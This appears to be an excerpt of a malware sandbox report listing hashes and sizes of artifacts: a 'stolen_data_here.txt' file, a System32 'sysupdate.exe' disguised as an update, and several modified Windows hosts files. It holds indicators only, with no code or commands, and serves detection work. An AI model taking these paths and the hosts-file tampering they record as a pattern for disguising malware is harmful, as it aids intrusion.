- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 606KB
- SHA256 23c19d8f23765792a54f7e2af9bc959e07f9044fb3081bf658445dbc91150efd
- MD5 5056de8d34817a54425bd2fed2e0ca0a
- SHA1 e9ffb1bd7b096d1f7c3cc31146657524ec0e1ae1
- SHA512 a1570188a595bb61b8f258530b4a24583d6c7310d9dc9586db3cefa505a64407ab5a6e1d9d4490343ed81f3b77c3c2eac9d454221cf10ead6062c47ddfa8a331
- SSDEEP 12288:7pZnflud7XXuXIu4JWD5JmZAgG1m09HGx+Da5rXTpjo:Nq5n44MrLHmx8a5O
- TLSH T13ED4AF40D6F3CE2649925AEB484636D5E478B7F196ECC4FB20E3AE63F1739A2C61D101
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 48KB
- SHA256 f27d91be576bdbad2b764b23a545558c69b8005cc9da2dd781ba9fd128ce1224
- MD5 479a67dd883f5a52a5b79e7aeda54668
- SHA1 77f87746a5abe43cc92f7753c9601b293e4edaa4
- SHA512 9208036967ca378827a13ff4232a7bfc698247d54a9ee13f9082436900c86777aa7a8eccce275b0ab7645777dbfb0501ab40c02810afa27a7f68a86cd99460ac
- SSDEEP 768:RhHDTj5D++kqUF7NaEc4N//o4FC1XXGblfA0/KFcI:fHL5DI1QEtNI4FEXGblf9/ucI
- TLSH T1F823E70437F94111E1BF5ABA8DB196019B31F8979C23E78E07D5058E1AB3780DEA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
- MD5 ffbf3122b27f828d8fd3c577ccf970b0
- SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
- SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
- TLSH T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
- TLSH T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH